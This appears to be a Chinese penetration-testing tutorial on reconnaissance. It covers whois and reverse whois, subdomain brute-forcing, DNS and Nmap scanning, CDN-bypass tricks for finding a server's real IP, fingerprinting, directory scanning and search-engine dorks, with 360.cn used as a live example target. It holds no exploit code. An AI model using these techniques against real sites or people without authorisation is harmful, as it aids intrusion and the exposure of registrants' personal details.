 &lt;h2&gt;信息搜集的重要性  &lt;br /&gt;&lt;/h2&gt;
 &lt;p&gt;信息搜集是渗透测试的最重要的阶段，占据整个渗透测试的60%，可见信息搜集的重要性。根据收集的有用信息，可以大大提高我们渗透测试的成功率。&lt;/p&gt;
 &lt;h2&gt;信息搜集的分类&lt;/h2&gt;
 &lt;blockquote&gt;  &lt;p&gt;1、主动式信息搜集（可获取到的信息较多，但易被目标发现）&lt;/p&gt;
  &lt;p&gt;2、通过直接发起与被测目标网络之间的互动来获取相关信息，如通过Nmap扫描目标系统。&lt;/p&gt;
  &lt;p&gt;3、被动式信息搜集（搜集到的信息较少，但不易被发现）&lt;/p&gt;
  &lt;p&gt;4、通过第三方服务来获取目标网络相关信息。如通过搜索引擎方式来搜集信息。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h2&gt;搜集什么信息&lt;/h2&gt;
 &lt;blockquote&gt;  &lt;p&gt;1、whois信息（微步）&lt;/p&gt;
  &lt;p&gt;2、网站架构&lt;/p&gt;
  &lt;p&gt;3、dns信息（通过查询dns我们可以检测是否存在dns域传送漏洞）&lt;/p&gt;
  &lt;p&gt;4、子域名搜集&lt;/p&gt;
  &lt;p&gt;5、敏感目录及敏感信息、源码泄露（搜索引擎+工具）&lt;/p&gt;
  &lt;p&gt;6、脆弱系统（网络空间）&lt;/p&gt;
  &lt;p&gt;7、旁站查询&lt;/p&gt;
  &lt;p&gt;8、C端查询&lt;/p&gt;
  &lt;p&gt;9、指纹信息&lt;/p&gt;
  &lt;p&gt;10、端口服务&lt;/p&gt;
  &lt;p&gt;11、备案信息&lt;/p&gt;
  &lt;p&gt;12、真实ip&lt;/p&gt;
  &lt;p&gt;13、探测waf&lt;/p&gt;
  &lt;p&gt;14、社工（朋友圈、微博、qq空间、求职、交易等社交平台）&lt;/p&gt;
  &lt;p&gt;15、企业信息（天眼查、企业信用信息公示系统、工业和信息化部ICP/IP地址/域名信息备案管理系统）&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h2&gt;信息搜集的流程  &lt;br /&gt;&lt;/h2&gt;
 &lt;p&gt;上面我已经列举了需要搜集的信息，然后我给它们分了一下类。&lt;/p&gt;
 &lt;p&gt;我考虑到一个网站的组成是由域名、服务器、网站程序组成的。&lt;/p&gt;
 &lt;p&gt;因此：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;首先入手域名方面：whois、子域名、备案信息；&lt;/p&gt;
  &lt;p&gt;其次是入手服务器方面：dns信息、端口服务、真实ip；&lt;/p&gt;
  &lt;p&gt;然后入手网站程序（web层）方面：网站架构、敏感目录及敏感信息、源码泄露（搜索引擎+工具）、脆弱系统（网络空间）、旁站查询、C端查询、指纹信息、探测waf；&lt;/p&gt;
  &lt;p&gt;最后入手企业方面：天眼查、企业信用信息公示系统&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;归了类之后，我做了一张脑图。&lt;/p&gt;
 &lt;p&gt;脑图如下图所示：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="352" src="https://image.3001.net/images/20181124/1543072448_5bf96ac069a0b.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;Whois信息和Whois反查  &lt;br /&gt;&lt;/h2&gt;
 &lt;p&gt;whois是用来查询域名的IP以及所有者等信息的传输协议。 whois信息可以获取关键注册人的信息，包括注册商、联系人、联系邮箱、联系电话、创建时间等,可以进行邮箱反查域名，爆破邮箱，社工，域名劫持等等。&lt;/p&gt;
 &lt;h3&gt;  &lt;strong&gt;查询方式&lt;/strong&gt;&lt;/h3&gt;
 &lt;blockquote&gt;  &lt;p&gt;1、   &lt;a href="http://whois.chinaz.com/"&gt;http://whois.chinaz.com/&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;2、   &lt;a href="https://x.threatbook.cn/"&gt;微步&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;3、   &lt;a href="https://who.is/"&gt;https://who.is/&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;4、Linux whois命令&lt;/p&gt;
  &lt;p&gt;5、其他工具&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;这里需要注意的是国际域名可以设置隐私保护，但像国内.cn等域名是不可以设置隐私保护的。&lt;/p&gt;
 &lt;p&gt;当然我们得比较一下这几种方式哪一种比较适合自己。&lt;/p&gt;
 &lt;h3&gt;站长之家查询whois信息  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;这里我用360.cn为例。可以看到下图我们搜集到了注册商、联系人、联系邮箱等信息。&lt;/p&gt;
 &lt;p&gt;可以看到很直观，很中国，而且我们还可以通过联系人和联系邮箱反查。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="634" src="https://image.3001.net/images/20181124/1543072448_5bf96ac05d9fc.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;我们通过联系人反查，搜集到更多信息，效果如下图      &lt;br /&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="441" src="https://image.3001.net/images/20181124/1543072448_5bf96ac08f2ee.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;我们也可以通过邮箱反查，效果如下图      &lt;br /&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="443" src="https://image.3001.net/images/20181124/1543072448_5bf96ac0a5a00.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;微步查询whois信息  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;下图通过微步查询whois信息的效果，和站长之家一样很中国，想要反查whois需要复制邮箱&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="281" src="https://image.3001.net/images/20181124/1543072448_5bf96ac0b7013.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;图是反查邮箱的效果，微步需要登录才可以查看更多的信息。      &lt;br /&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="423" src="https://image.3001.net/images/20181124/1543072448_5bf96ac0c63d8.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;因此相较于站长之家就显得有些麻烦了。&lt;/p&gt;
 &lt;h3&gt;who.is查询whois信息  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;下图是通过who.is网站查询到的whois信息，可以看到中文字符竟还有乱码，很外国，且不能whois反查。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="347" src="https://image.3001.net/images/20181124/1543072448_5bf96ac0e1b19.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;Linux whois命令查询whois信息  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;需要注意的是并不是所有Linux系统都自带whois命令的。&lt;/p&gt;
 &lt;p&gt;我这里就用CentOS7来演示安装whois客户端。&lt;/p&gt;
 &lt;p&gt;具体命令的话可以看下图&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="381" src="https://image.3001.net/images/20181124/1543072448_5bf96ac0f33d7.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;安装完成之后，我们来查询一下360.cn。可以看到下图的效果，同样出现了乱码。      &lt;br /&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="164" src="https://image.3001.net/images/20181124/1543072449_5bf96ac101817.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;其他工具查询whois信息  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;查询whois信息的工具，我这里不做讲解了，工具实质上还是调用了网站接口的。&lt;/p&gt;
 &lt;p&gt;因此通过比较，我们针对国内网站的whois信息，我们使用站长之家和微步来查询whois信息效率会比较高。&lt;/p&gt;
 &lt;h2&gt;子域名搜集  &lt;br /&gt;&lt;/h2&gt;
 &lt;p&gt;子域名收集可以发现更多目标，以增加渗透测试成功的可能性，探测到更多隐藏或遗忘的应用服务，这些应用往往可导致一些严重漏洞。当一个主站坚不可摧时，我们可以尝试从分站入手。&lt;/p&gt;
 &lt;h3&gt;查询方式&lt;/h3&gt;
 &lt;blockquote&gt;  &lt;p&gt;1、layer子域名挖掘机&lt;/p&gt;
  &lt;p&gt;2、   &lt;a href="https://phpinfo.me/domain/"&gt;https://phpinfo.me/domain/&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;3、subDomainsBrute&lt;/p&gt;
  &lt;p&gt;4、搜索引擎语法(site:xxx.com)&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h3&gt;layer子域名挖掘机  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;下载地址：  &lt;a href="https://www.webshell.cc/6384.html"&gt;https://www.webshell.cc/6384.html&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;我们运行这款工具需要安装.net framework 4.0以上，否则会出现像下图一样的错误信息&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="330.05" src="https://image.3001.net/images/20181124/1543072449_5bf96ac121dc6.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;我就以安装4.5.2为例      &lt;br /&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="600.1904761904761" src="https://image.3001.net/images/20181124/1543072449_5bf96ac12b233.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;安装完毕后会出现下图      &lt;br /&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="592.3584905660377" src="https://image.3001.net/images/20181124/1543072449_5bf96ac134b8a.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;现在可以成功运行工具了      &lt;br /&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="434" src="https://image.3001.net/images/20181124/1543072449_5bf96ac15dc88.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;以360.cn为例，爆破的效果如下图，这款软件的好处是还可以进行扫描端口和探测服务器类型      &lt;br /&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="431" src="https://image.3001.net/images/20181124/1543072449_5bf96ac18578b.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;  &lt;a href="https://phpinfo.me/domain/"&gt;https://phpinfo.me/domain/&lt;/a&gt;  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;这是Lcy大佬的在线子域名爆破工具，我们可以测试一下爆破360.cn的子域名的效果，如下图所示，作为在线工具，它的爆破速度很可观。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="453" src="https://image.3001.net/images/20181124/1543072449_5bf96ac17f18c.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;subDomainsBrute  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;这是lijiejie大佬用python写的子域名爆破工具，不用说运行的话需要先安装python，对于懒惰的人，直接拖进kali里直接就可以运行。&lt;/p&gt;
 &lt;p&gt;github下载地址：  &lt;a href="https://github.com/lijiejie/subDomainsBrute"&gt;https://github.com/lijiejie/subDomainsBrute&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;下图是以360.cn为例，用这款工具爆破出来的子域名，可以看到比较少，这是因为字典比较小的原因。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="134" src="https://image.3001.net/images/20181124/1543072449_5bf96ac1a6e2c.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="410" src="https://image.3001.net/images/20181124/1543072449_5bf96ac1c7672.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;搜索引擎语法(site:xxx.com)  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;我们也可以通过搜索引擎的语法搜索，但是搜索到的子域名比较少。&lt;/p&gt;
 &lt;p&gt;下图是通过百度搜索360.cn子域名的效果图，当然谷歌也是同样的语法。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="665" src="https://image.3001.net/images/20181124/1543072449_5bf96ac1d3e4d.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;备案信息  &lt;br /&gt;&lt;/h2&gt;
 &lt;p&gt;备案信息分为两种，一种是IPC备案信息查询，一种是公安部备案信息查询。如果是国外的服务器是不需要备案的，因此可以忽略此步骤，国内的服务器是需要备案的，因此可以尝试获取信息。&lt;/p&gt;
 &lt;h3&gt;查询方式&lt;/h3&gt;
 &lt;blockquote&gt;  &lt;p&gt;1、   &lt;a href="http://www.miitbeian.gov.cn/icp/publish/query/icpMemoInfo_showPage.action#"&gt;ICP备案查询&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;2、   &lt;a href="http://www.beian.gov.cn/portal/recordQuery"&gt;公安部备案查询&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h3&gt;ICP备案查询  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;下图是通过网站查询ICP备案信息&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="93" src="https://image.3001.net/images/20181124/1543072450_5bf96ac2007dd.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;公安部备案查询  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;下图是通过全国公安机关互联网安全管理服务平台查询公安部备案信息&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="546" src="https://image.3001.net/images/20181124/1543072450_5bf96ac20ffc3.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;DNS信息搜集  &lt;br /&gt;&lt;/h2&gt;
 &lt;p&gt;通过查询DNS信息，我们可能可以发现网站的真实ip地址，也可以尝试测试是否存在DNS域传送漏洞。&lt;/p&gt;
 &lt;h3&gt;查询方式&lt;/h3&gt;
 &lt;blockquote&gt;  &lt;p&gt;1、Kali（host、big命令）&lt;/p&gt;
  &lt;p&gt;2、windows（nslookup命令）&lt;/p&gt;
  &lt;p&gt;3、在线工具&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h3&gt;Kali命令  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;host查询DNS信息，如下图所示：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="116" src="https://image.3001.net/images/20181124/1543072450_5bf96ac21fa98.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;big查询DNS信息，如下图所示      &lt;br /&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="554" src="https://image.3001.net/images/20181124/1543072450_5bf96ac247dbd.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;windows命令  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;nslookup命令效果如下图，比较low。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="344" src="https://image.3001.net/images/20181124/1543072450_5bf96ac2561eb.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;在线工具  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;地址：&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://tool.chinaz.com/dns/"&gt;http://tool.chinaz.com/dns/&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://tool.lu/dns/"&gt;https://tool.lu/dns/&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;这里就不做讲解了，和查whois信息一样。&lt;/p&gt;
 &lt;h2&gt;探测端口服务  &lt;br /&gt;&lt;/h2&gt;
 &lt;h3&gt;查询方式&lt;/h3&gt;
 &lt;blockquote&gt;  &lt;p&gt;Nmap&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;个人觉得用Nmap足矣&lt;/p&gt;
 &lt;h3&gt;Nmap扫描  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;扫描结果如下图所示，可以看到我们可以扫描到操作系统类型、端口信息和端口对应的服务信息。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="304" src="https://image.3001.net/images/20181124/1543072450_5bf96ac28db87.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;下图是详细端口对应服务图      &lt;br /&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="886" src="https://image.3001.net/images/20181124/1543072450_5bf96ac2ebf24.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;获取网站真实ip  &lt;br /&gt;&lt;/h2&gt;
 &lt;p&gt;现在大多数的网站都开启了CDN加速，导致我们获取到的IP地址不一定是真实的IP地址。&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;CDN的全称是Content Delivery Network，即内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节，使内容传输的更快、更稳定。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络，CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。其目的是使用户可就近取得所需内容，解决 Internet网络拥挤的状况，提高用户访问网站的响应速度。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h3&gt;思路  &lt;br /&gt;&lt;/h3&gt;
 &lt;blockquote&gt;  &lt;p&gt; 1、二级域名法 一般网站不会所有的二级域名放CDN，因此我们可以利用这点来获取网站的真实ip &lt;/p&gt;
  &lt;p&gt; 2、   &lt;a href="http://ping.chinaz.com/"&gt;多地ping法&lt;/a&gt; 由CDN的原理，不同的地方去Ping服务器，如果IP不一样，则目标网站肯定使用了CDN&lt;/p&gt;
  &lt;p&gt; 3、nslookup法 找国外的比较偏僻的DNS解析服务器进行DNS查询，因为大部分CDN提供商只针对国内市场，而对国外市场几乎是不做CDN，所以有很大的几率会直接解析到真实IP &lt;/p&gt;
  &lt;p&gt;4、查看邮件法 通过查看邮件原文来确定ip地址，CDN总不会发送邮件吧&lt;/p&gt;
  &lt;p&gt;5、RSS订阅法 RSS原理于邮件法差不多&lt;/p&gt;
  &lt;p&gt;6、   &lt;a href="https://toolbar.netcraft.com/site_report"&gt;查看历史解析记录法&lt;/a&gt; 查找域名历史解析记录，域名在上CDN之前用的IP，很有可能就是CDN的真实源IP地址&lt;/p&gt;
  &lt;p&gt;7、利用网站漏洞（XSS、命令执行、SSRF、php探针、phpinfo页面等） 可以通过一些页面和漏洞获取到服务器ip地址也是可能的。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h2&gt;网站架构  &lt;br /&gt;&lt;/h2&gt;
 &lt;h3&gt;操作系统  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;查询方式：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt; 1、Nmap &lt;/p&gt;
  &lt;p&gt; 2、wappalyzer插件 &lt;/p&gt;
  &lt;p&gt; 3、   &lt;a href="http://www.yunsee.cn/"&gt;云悉&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;wappalyzer插件是一款火狐插件，可以去火狐扩展中添加。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="301" src="https://image.3001.net/images/20181124/1543072450_5bf96ac2981c5.png!small" width="690"&gt;&lt;/img&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="301" src="https://image.3001.net/images/20181124/1543072450_5bf96ac2cbcb6.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;云悉是云悉安全专注于网络资产自动化梳理，cms检测web指纹识别，让网络资产更清晰的在线查询工具。      &lt;br /&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="211" src="https://image.3001.net/images/20181124/1543072450_5bf96ac2d56a4.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;通过Nmap获取操作系统，如下图所示      &lt;br /&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="401" src="https://image.3001.net/images/20181124/1543072451_5bf96ac321114.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;通过wappalyzer插件查询，如下图所示      &lt;br /&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="450" src="https://image.3001.net/images/20181124/1543072451_5bf96ac317200.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;通过云悉也可以查询到操作系统，如下图所示      &lt;br /&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="370" src="https://image.3001.net/images/20181124/1543072451_5bf96ac35805e.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;中间件信息  &lt;br /&gt;&lt;/h3&gt;
 &lt;blockquote&gt;  &lt;p&gt; 1、wappalyzer插件 &lt;/p&gt;
  &lt;p&gt; 2、云悉&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;通过wappalyzer插件查询中间件信息，如下图所示&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="450" src="https://image.3001.net/images/20181124/1543072451_5bf96ac36dcbc.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;通过云悉也可以查询到中间件信息，如下图所示      &lt;br /&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="367" src="https://image.3001.net/images/20181124/1543072451_5bf96ac3932a0.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;数据库  &lt;br /&gt;&lt;/h3&gt;
 &lt;blockquote&gt;  &lt;p&gt; 1、wappalyzer &lt;/p&gt;
  &lt;p&gt; 2、云悉&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;通过云悉查询到数据库信息，如下图所示&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="320" src="https://image.3001.net/images/20181124/1543072451_5bf96ac3a4a59.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;通过wappalyzer插件查询到数据库信息，如下图所示 &lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="450" src="https://image.3001.net/images/20181124/1543072451_5bf96ac3b6cd0.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;编程语言  &lt;br /&gt;&lt;/h3&gt;
 &lt;blockquote&gt;  &lt;p&gt; 1、wappalyzer &lt;/p&gt;
  &lt;p&gt; 2、云悉&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;通过wappalyzer插件查询到编程语言信息，如下图所示&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="389" src="https://image.3001.net/images/20181124/1543072451_5bf96ac3df463.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;通过云悉查询到编程语言信息，如下图所示      &lt;br /&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="354" src="https://image.3001.net/images/20181124/1543072451_5bf96ac3dd759.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;敏感目录及敏感信息、源码泄露（搜索引擎+工具）  &lt;br /&gt;&lt;/h2&gt;
 &lt;h3&gt;途径方法  &lt;br /&gt;&lt;/h3&gt;
 &lt;blockquote&gt;  &lt;p&gt; 1、御剑 &lt;/p&gt;
  &lt;p&gt; 2、搜索引擎 &lt;/p&gt;
  &lt;p&gt; 3、BBscan &lt;/p&gt;
  &lt;p&gt; 4、GSIL &lt;/p&gt;
  &lt;p&gt; 5、社交平台（QQ群、文库、求职网）&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;robots.txt、crossdomin.xml、sitemap.xml、源码泄漏文件、/WEB-INF/&lt;/p&gt;
 &lt;h3&gt;御剑  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;御剑这款工具主要用于扫描网站的敏感目录、敏感文件。这里必须要说明一下字典必须要足够强大才可以扫到别人发现不了的点。因此我们必须完善一下自己的字典。&lt;/p&gt;
 &lt;p&gt;下图是我利用御剑对我自己网站的一次扫描&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25105;&amp;#30340;&amp;#20449;&amp;#24687;&amp;#25628;&amp;#38598;&amp;#20043;&amp;#36947;" height="506" src="https://image.3001.net/images/20181124/1543072452_5bf96ac400260.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;搜索引擎  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;搜索引擎也可以用于搜索网站的敏感目录、敏感文件和敏感信息。&lt;/p&gt;
 &lt;p&gt;这里就必须提一下搜索引擎的语法了，这里以google 黑客语法为例，语法同样适用于百度搜索引擎。&lt;/p&gt;
 &lt;p&gt;基本语法：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;quot;&amp;quot; //双引号表示强制搜索&lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;-  //表示搜索不包含关键词的网页&lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;|  //或者的意思&lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;site //返回所有于这个域名有关的网页&lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;intext //搜索到的网页正文部分包含关键词&lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;intitle //搜索到的网页标题包含关键词&lt;/code&gt;&lt;/pre&gt;
 &lt;pre&gt;  &lt;code&gt;cache   //搜索关于某些内容的缓存&lt;/code&gt;&lt;/pre&gt;
